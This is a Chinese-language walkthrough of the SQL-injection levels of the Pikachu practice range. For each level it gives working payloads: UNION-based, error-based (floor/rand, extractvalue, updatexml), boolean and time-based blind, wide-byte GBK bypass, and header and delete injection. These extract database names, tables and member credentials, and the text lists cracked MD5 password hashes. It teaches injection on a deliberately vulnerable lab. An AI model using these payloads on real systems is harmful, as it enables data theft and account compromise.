[pikachu]SQL-Inject通关

642 阅读14分钟

SQL注入漏洞在OWASP Top 10排行榜中长期位列危害榜首,其中数据库注入漏洞尤为突出。一个严重的SQL注入漏洞可能导致敏感数据泄露、业务中断,甚至直接威胁企业存亡,造成破产等灾难性后果。其危害包括:

  1. 数据泄露:攻击者可窃取敏感信息,如用户凭证、个人信息或财务数据。

  2. 数据篡改:恶意修改数据库内容,导致数据完整性受损,如更改用户权限或伪造记录。

  3. 数据库破坏:攻击者可能删除表、数据库或执行破坏性操作,造成服务不可用。

  4. 权限提升:通过注入获取管理员权限,控制整个系统或应用程序。

  5. 绕过认证:操纵查询以绕过登录验证,直接访问受限资源。

    综上,SQL注入使我们学习网络安全的必修课。

基本的操作步骤

  1. 查找SQL注入点

  2. 测试并判断是否有SQL注入点

  3. 判断注入点有多少列

    UNION SELECT:
    example.com?id=1 UNION SELECT NULL --
    example.com?id=1 UNION SELECT NULL, NULL, NULL --
    
    ORDER BY:
    example.com?id=1 ORDER BY 3 --
    
    错误注入:
    example.com?id=1 AND (SELECT * FROM (SELECT NULL, NULL) a) --
    
    时间盲注:
    example.com?id=1 AND IF((SELECT COUNT(*) FROM (SELECT NULL, NULL) a)=2, SLEEP(5), 0) --
    
  4. 查看数据库基本信息与所有库名

  5. 查找表名

  6. 查找表的列名

  7. 查找表的数据

  8. pikachu靶场主要是找到用户与账号密码

数字型注入(post)

  1. 判断注入点,针对请求:/pikachu/vul/sqli/sqli_id.ph,通过Burp Suite拦截请求,然后通过'"'"符号进行测试,出现You have an error in your SQL syntax异常,说明这是一个sql注入点。

    image-20250817192651843

  2. 当前应该是一个select请求,那么我们需要判断有多少列

    example.com?id=1 ORDER BY 数字 --
    

    当数字的值到3时,出现异常,那么说明,当前select请求,有两个列。

    image-20250817193443072

  3. 提取数据库基本信息

    @@hostname	获取主机信息
    database()	获取数据库名
    version()	获取版本号
    user()		获取数据库用户
    

    我们可以分两次获取这四个信息

    UNION SELECT @@hostname,database()--
    UNION SELECT user(),version() --
    #合并成一个语句
    UNION SELECT @@hostname,database() UNION SELECT user(),version() --
    
    

    image-20250817194648764

    通过分析,第一个列放在hello,后面,第二列放在your email is:后面,收集到的信息如下:

    参数属性信息
    @@hostname主机信息DESKTOP-HH4386
    database()数据库信息pikachu
    user()数据库用户root@localhost
    version()版本号57.26
  4. 获取所有的数据库名

    UNION SELECT 1, schema_name FROM information_schema.schemata --
    

    image-20250817195222031

    收集到的数据库有:information_schemamysqlpikachuperformance_schemasys,其中业务的数据库仅有pikachu

  5. 获取pikachu数据里面所有的表信息

    UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema='pikachu' --
    

    image-20250817195615866

    获取到5个表信息:httpinfo、member、message、users、xssblind,其中member或者users应该是我们要的账号信息表

  6. 获取member与users表的列名,其中第一列值是1的是member表,是2的为users表信息

    UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='member' and table_schema='pikachu' UNION SELECT 2, column_name FROM information_schema.columns WHERE table_name='users' and table_schema='pikachu' --
    
    #注意,这边需要带上and table_schema='pikachu',有可能其他库里面有相同的表名
    

    image-20250817204307821

    获取表的字段信息:

    member:id、username、pw、sex、phonenum、address、email

    users:id、username、password、level

    分析,其中member中应该与本列相关的表信息,因为有email,其中,username、pw,应该是账号与密码

  7. 获取member表的详细信息

    UNION SELECT username, pw FROM member --
    

    image-20250817200704823

    经分析这个pw应该是有加密的,并且密码都是一样的,使用www.cmd5.com/解密:

    image-20250817201330801

  8. 再获取users表的详细信息,这边我们使用CONCAT函数,一次性获取跟多列的信息

    UNION SELECT id,CONCAT(username, ':',password,':',level) FROM users --
    

    image-20250817204446285

    使用www.cmd5.com/解密:

    e10adc3949ba59abbe56e057f20f883e123456
    670b14728ad9902aecba32e22fa4f6bd000000
    e99a18c428cb38d5f260853678922e03abc123

    综上,完成相关信息的获取。

字符型注入(get)

  1. 判断注入点,针对请求:/pikachu/vul/sqli/sqli_str.php?name=admin&submit=%E6%9F%A5%E8%AF%A2,通过Burp Suite拦截请求,然后通过'"'"符号进行测试,出现You have an error in your SQL syntax异常,说明这是一个sql注入点。

    image-20250817205303521

  2. 当前应该是一个select请求,那么我们需要判断有多少列,下面两个都是可以的

    ' union select 1,2 -- 
    ' ORDER BY 3 -- 
    

    注意最后是有空格的,另外需要转下格式

    image-20250817232913128

    image-20250817232637736

  3. 获取数据库的基本信息

    ' UNION SELECT @@hostname,database() UNION SELECT user(),version() -- 
    

    image-20250817233438660

  4. 获取所有的数据库名

    ' UNION SELECT 1, schema_name FROM information_schema.schemata -- 
    

    image-20250817233809387

    后续的步骤与数字型注入(post)差不多,仅是前面添加' ,后面加空格,即可。

搜索型注入

  1. 判断注入点,针对请求:

    ' or 1=1 -- 
    

    image-20250817234359463

  2. 当前应该是一个select请求,那么我们需要判断有多少列,下面两个都是可以的

    ' union select 1,2,3 -- 
    ' ORDER BY 3 -- 
    

    image-20250817235820316

  3. 获取数据库的基本信息

    ddd' UNION SELECT @@hostname,database(),1 UNION SELECT user(),version(),1 -- 
    

    为了只显示我们要的内容,前面添加ddd,如果不增加,会把所有的用户查询出来,增加了这个,只显示我们的内容了

    image-20250818000338169

  4. 获取所有的数据库名

    ddd' UNION SELECT 1,2, schema_name FROM information_schema.schemata -- 
    

    image-20250818000532239

    后续的步骤与数字型注入(post)差不多,仅是前面添加ddd' ,后面加空格,之前的都是2列,这边是3列。

xx型注入

  1. 判断注入点,针对请求输入:

    ' ORDER BY 2 -- 
    

    image-20250818142229841

    根据异常提示有,如果输入的参数是在()里面,那么我们需要输入:

    ') ORDER BY 2 -- 
    

    image-20250818142436188

    能正常数据,输入

    ') ORDER BY 3 -- 
    

    image-20250818142515658

    说明select后面两列;

  2. 获取数据库的基本信息

    ') UNION SELECT @@hostname,database() UNION SELECT user(),version() -- 
    

    image-20250818142723998

    获取到对应的数据库基本信息。

    后续的工作与之前的脚本大同效益,主要是有,来闭合代码中的脚本,我们这边获取到对应的代码,与我们猜测的一致。

    if(isset($_GET['submit']) && $_GET['name']!=null){
        //这里没有做任何处理,直接拼到select里面去了
        $name=$_GET['name'];
        //这里的变量是字符型,需要考虑闭合
        $query="select id,email from member where username=('$name')";
        $result=execute($link, $query);
        if(mysqli_num_rows($result)>=1){
            while($data=mysqli_fetch_assoc($result)){
                $id=$data['id'];
                $email=$data['email'];
                $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
            }
        }else{
    
            $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
        }
    }
    

"insert/update"注入

  1. 判断注入点,这边我们使用注册信息,注册也就是会新增一个信息。

    针对insert/update注入,主要通过报错注入,听过让mysql出现异常,并把异常的内容返回给页面,通过返回的异常内容获取数据库的数据。

    • group by 重复键冲突,是利用 count()、rand()、floor()、 group by 这几个特定的函数结合在一起产生的注入漏洞
    'or (select 1 from (select count(*),concat(0x5e,(select concat(database(),';',@@hostname,';',user(),';',version()) from
     information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from
     information_schema.tables group by x)a) or'
    

    image-20250818234204993

    在注册页面任意字典输入脚本即可,我们这边在密码字段输入,下面是返回我们要的数据库信息:

    image-20250818234147855

    • extractvalue报错异常
    ' or extractvalue(1, concat(0x5c, (select concat(database(),';',@@hostname,';',user(),';',version())),0x5c)) or '
    

    image-20250819000851803

    注意这边异常信息太多了,没有完全显示所有的异常内容。

    • updatexml 报错

      ' or  updatexml(1,concat(0x5e,(select concat(database(),';',@@hostname,';',user(),';',version())),0x5e),1) or '
      

      image-20250819001154302

      一样,并没有显示全部的异常信息。

  2. 获取数据库表信息,根据之前的情况,使用group by 重复键冲突方式获取,其中使用了GROUP_CONCAT函数,把查询出来的行拼接成一个字符串;

    #下面第二行使我们要替换的内容
    'or (select 1 from (select count(*),concat(0x5e,(
    SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata
    ) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'
    

    image-20250819145857054

  3. 获取pikachu数据里面所有的表信息

    'or (select 1 from (select count(*),concat(0x5e,(
    SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='pikachu'
    ) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'
    

    image-20250819150929226

  4. 获取表数据信息

    'or (select 1 from (select count(*),concat(0x5e,(
    SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='member' and table_schema='pikachu'
    ) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'
    

    image-20250819151159486

  5. 获取表信息,这个时候我们需要特殊处理下,

    'or (select 1 from (select count(*),concat(0x5e,(
    SELECT GROUP_CONCAT(CONCAT(username, ' - ',pw) SEPARATOR ';') FROM member
    ) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'
    

    image-20250819152033192

​ 上面的异常信息不是完整的信息,是被阶段的,最长显示64个字符,要想获取完整数据,我们需要获取到数据的完整长度,然后分批次获取。

获取长度:

'or (select 1 from (select count(*),concat(0x5e,(
SELECT LENGTH(GROUP_CONCAT(CONCAT(username, ' - ',pw) SEPARATOR ';')) FROM member
) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'

image-20250819155329546

​ 324个字符,由于前面都有一个^,那么每次只能去63个字符,取个5次,就能全部取完。

'or (select 1 from (select count(*),concat(0x5e,(
SELECT substring(GROUP_CONCAT(CONCAT(username, ' - ',pw) SEPARATOR ';'),1,63) FROM member
) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'

'or (select 1 from (select count(*),concat(0x5e,(
SELECT substring(GROUP_CONCAT(CONCAT(username, ' - ',pw) SEPARATOR ';'),64,127) FROM member
) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'

'or (select 1 from (select count(*),concat(0x5e,(
SELECT substring(GROUP_CONCAT(CONCAT(username, ' - ',pw) SEPARATOR ';'),128,191) FROM member
) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'

...

image-20250819160440250

​ 通过多次反复获取后,就能获取到完整的数据。

​ 综上,这也章节,我们学习了3种异常注入方法,GROUP_CONCAT、CONCAT、LENGTH、substring四个sql函数。

delete注入

  1. 判断注入点,我们通过bp拦截后,send to Repeater

    image-20250819161821610

  2. 使用updatexml 报错注入方式

     or updatexml(1,concat(0x5e,(concat(database(),';',@@hostname,';',user(),';',version())),0x5e),1)
    

    这边需要转码,;@算是特殊字符,选中后右键,Converet selection->URL->URL-encode key characters

    image-20250819164053622

  3. 获取到数据库的信息后,这边需要注意,updatexml 最多显示32个字符,超过32个字符,则需要多次请求,具体的操作请参考"insert/update"注入部分。

http头注入

由于很多网站都会收集用户的浏览器信息,如user-agent,http-accept等信息,如果没有对这些信息进行特殊的处理,直接保存到数据库中,那么就会存在http头注入漏洞了。

  1. 根据登录后返回的结果,判断保存user-agent,http-accept信息,这边可以存在注入点

    image-20250819171754570

    我们通过bp拦截后,对/pikachu/vul/sqli/sqli_header/sqli_header.php send to Repeater,输入下面的内容执行

    ' or extractvalue(1, concat(0x5c, (select concat(database(),';',@@hostname,';',user(),';',version())),0x5c)) or '
    

    image-20250819172340987

    根据上面内容,确认注入点。

  2. 后续的操作请参考"insert/update"注入部分,原理与此内容是一样的,只是页面的获取方式不同,一个是表单,一个是http头信息。

基于boolian的盲注

当系统没有把异常直接抛到前端展示的时候,我们就无法判断注入的效果,这种情况下的注入,即是盲注。我们只能通过页面的正常与不正常来判断我们的注入情况,即是boolian盲注。这个时候有对应的技巧,就是返回的正常的内容,是不是是否通过我们控制,如这边我们可以随便控制返回两列信息,那么我们就不需要通过枚举来获取我们要的相关信息;

  1. 判断注入点,我们通过bp拦截后,send to Repeater

    • 正常的

      ' union select 1,2 -- 
      

      image-20250820165004891

    • 异常的

      ' union select 1,2,3 -- 
      

      image-20250820165302809

  2. 获取数据库信息,利用能正常返回信息的状态下,只能返回两列信息

    ' UNION SELECT CONCAT(@@hostname,database()),CONCAT(user(),version()) -- 
    ' UNION SELECT @@hostname,database() -- 
    

    image-20250820170124327

    能完整的获取到正确的信息;

  3. 往后都跟字符型注入一样的步骤了

基于时间的盲注

时间盲注就比boolian盲注条件更加的苛刻了,正确也错误都无法区分,只能通过时间进行区分。

  1. 判断注入点,通过sleep语句来判断语句是否正确的执行,了快速的判断,我们使用二分法

    #延时5秒,我这边需要设置成0.5,如果是5,那么时间太长。服务会挂掉。
    ' or 1=1 and sleep(0.5) -- 
    

    image-20250820232056822

  2. 获取数据库名称

    • 判断数据库名长度
    #数据库名长度,如果大于5,暂停0.5毫秒,为true
    ' or 1=1 and sleep(if(length(database())>5,0.5,0)) -- 
    #5*2,如果大于10,暂停0.5毫秒,为false
    ' or 1=1 and sleep(if(length(database())>10,0.5,0)) -- 
    #如果大于8,暂停0.5毫秒,为false
    ' or 1=1 and sleep(if(length(database())>8,0.5,0)) -- 
    #如果大于7,暂停0.5毫秒,为false
    ' or 1=1 and sleep(if(length(database())>7,0.5,0)) -- 
    #如果大于6,暂停0.5毫秒,为true,得出长度是7
    ' or 1=1 and sleep(if(length(database())>6,0.5,0)) -- 
    
    • 获取数据库名称,使用ascii与substr来判断名称

      #p,注意需要从ascii对照表来,可以小写,然后数字,知道请求有延迟为止;
      ' or 1=1 and sleep(if(ascii(substr(database(),1,1))=112,0.5,0)) -- 
      
      

      这边只提供了第一个字符串查找的脚本,有7个字符,按顺序来检测到全部的数据库的字符;

  3. 获取表的名称,由于有多个表,那些需要一个表一个表来获取,操作相当的繁琐,下面仅提供思路与脚本(httpinfo)

    • 获取第一个表的长度

      #其中7是长度值,不断调整这个值,计算出表的长度,第一个表是httpinfo,这个长度是8;
      ' or 1=1 and sleep(if(length((select table_name from information_schema.tables where table_schema =database() limit 0,1))>7,0.5,0)) -- 
      
      
    • 获取表的名称

    #httpinfo 第一个字符是h(104) 
    ' or 1=1 and sleep(if(ascii(substr((select table_name from information_schema.tables where
     table_schema =database() limit 0,1),1,1))=104,0.5,0)) -- 
    

    limit 0,1:只取第一条记录,第二个表是limit 1,1,依次类推;

    104:h字段的ascii码,需要不断调整以获取准确的字符;

  4. 获取表的字段信息,参考上面获取表名的逻辑,获取长度,然后获取名称;

  5. 获取表字段的数据,同上面一样,获取第一条数据的长度,然后是具体的信息;

​ 综上,如果要手动的时间盲注是相当繁琐与耗时的,一般使用工具,即便是使用了工具,也是需要发送大量的请求才能获取到想要的数据,很容易被发现,非不得已才使用这种方式。

​ 下面是这个页面下的核心代码:

if(isset($_GET['submit']) && $_GET['name']!=null){
    $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
    $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
    $result=mysqli_query($link, $query);//mysqi_query不打印错误描述
//     $result=execute($link, $query);
//    $html.="<p class='notice'>i don't care who you are!</p>";
    if($result && mysqli_num_rows($result)==1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            //这里不管输入啥,返回的都是一样的信息,所以更加不好判断
            $html.="<p class='notice'>i don't care who you are!</p>";
        }
    }else{

        $html.="<p class='notice'>i don't care who you are!</p>";
    }
}

wide byte注入

宽字节注入的原理

宽字节注入的核心在于MySQL对宽字节字符(如GBK编码)的解析方式与应用程序的过滤逻辑不一致,导致转义被绕过。

  1. 背景:字符编码与转义

    • MySQL字符集:MySQL支持多种字符集,如UTF-8(多字节变长编码)、GBK(双字节编码,常见于中文环境)。

    • 应用程序过滤:为了防止SQL注入,应用程序常对用户输入中的单引号(')进行转义,添加反斜杠(\),如:

      • 输入:admin'
      • 转义后:admin'
      • SQL查询:SELECT * FROM users WHERE username = 'admin'';
    • 问题:在GBK编码下,某些字节序列被解析为单个宽字节字符,导致转义失效。

  2. GBK编码的特点

    • GBK是双字节字符集,用于表示中文字符:

      • 每个字符由两个字节组成。
      • 第一个字节范围:0x81-0xFE。
      • 第二个字节范围:0x40-0xFE(部分范围)。
    • 单引号'的ASCII编码为0x27,反斜杠\的ASCII编码为0x5C。

    • 当应用程序添加反斜杠转义单引号(' -> 0x5C 0x27),MySQL在GBK模式下可能将0x5C 0x27解析为一个宽字节字符(而非')。

  3. 宽字节注入的触发

  • 攻击者输入一个宽字节字符(如%df)后跟单引号':
    • 示例:输入%df'(URL编码),解码为0xDF 0x27。
    • 应用程序转义:0xDF 0x27 -> 0xDF 0x5C 0x27(添加反斜杠)。
    • MySQL在GBK模式下:
      • 0xDF 0x5C被解析为一个GBK字符(如運)。
      • 剩下的0x27仍为单引号',未被转义。
    • 结果:单引号未被正确转义,注入成功。
  1. 靶场核心代码

    if(isset($_POST['submit']) && $_POST['name']!=null){
    
        $name = escape($link,$_POST['name']);
        $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
        //设置mysql客户端来源编码是gbk,这个设置导致出现宽字节注入问题
        $set = "set character_set_client=gbk";
        execute($link,$set);
    
        //mysqi_query不打印错误描述
        $result=mysqli_query($link, $query);
        if(mysqli_num_rows($result) >= 1){
            while ($data=mysqli_fetch_assoc($result)){
                $id=$data['id'];
                $email=$data['email'];
                $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
            }
        }else{
            $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
        }
    
    
    }
    

    这边设置了sql语句的编码gbk

  2. 注意细节

    发送最终的内容,在输入框输入的,请求会自动转移把%变成%25,如:

    %df' or 1=1#会变成%25df' or 1=1#

靶场实操

  1. 根据宽字节注入原理,我们使用下面的脚本,检测注入点

    #url不加密也支持
    %df' or 1=1#
    

    image-20250821005246238

    image-20250821005327501

  2. 获取数据库信息,结合之前的内容使用下面的脚本

    %df' UNION SELECT @@hostname,database() UNION SELECT user(),version() -- 
    

    image-20250821105135403

  3. 获取所有的数据库名

    %df' UNION SELECT 1, schema_name FROM information_schema.schemata -- 
    

    image-20250821105319647

​ 结合之前章节的内容一步一步的操作,既能获取到我们要的数据了,差别就是闭合条件是%df'